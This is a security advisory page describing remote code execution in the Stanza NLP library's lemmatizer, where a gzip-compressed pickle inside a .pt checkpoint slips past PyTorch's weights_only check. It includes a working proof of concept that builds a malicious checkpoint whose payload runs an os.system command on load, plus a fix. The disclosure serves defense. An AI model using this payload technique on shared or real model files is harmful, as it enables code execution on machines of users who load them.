GHSA-gh9r-c94j-cmp5

    Dashboard / Vulnerabilities / GHSA-gh9r-c94j-cmp5

    GHSA-gh9r-c94j-cmp5

    Published: 3 Nov 2026Last Modified: 3 Nov 2026

    Summary: Stanza: RCE via pickle deserialization in the lemmatizer

    Details: ## TL;DR Loading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code. Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`). A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -> `_unpack_pos_dict` and executes the embedded pickle at construction time. ## The vulnerable path `stanza/models/lemma/trainer.py`: ```python # _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts'] def _unpack_pos_dict(data): # line 54 buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return pickle.loads(raw) # <-- unrestricted default unpickler ``` ```python def load(self, filename, ...): # line 365 checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact ... if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format) self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation ``` **Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=<file>)` -> `LemmaProcessor._set_up_model` -> `Trainer(model_file=…)` -> `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed. Note: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle. ## Minimal PoC ```python import gzip, io, os, pickle, tempfile, torch from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned") class Payload: def __reduce__(self): return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),)) buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict() gz.write(pickle.dumps(Payload(), protocol=4)) ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS} pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt") torch.save(ckpt, pt, _use_new_zipfile_serialization=False) loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact _unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs print("pwned:", open(MARKER).read().strip()) ``` The PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime. ## Fix Deserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only): ```python from stanza.models.common.doc import RestrictedUnpickler def _unpack_pos_dict(data): buf = io.BytesIO(data) with gzip.GzipFile(fileobj=buf, mode="rb") as gz: raw = gz.read() return RestrictedUnpickler(io.BytesIO(raw)).load() ``` A legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.

    Affected packages

    Package

    Name: stanza

    Purl: pkg:pypi/stanza

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 1.14.0
    Fixed -1.15.0

    Affected versions

    1.14.0

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-gh9r-c94j-cmp5 | CVE-DB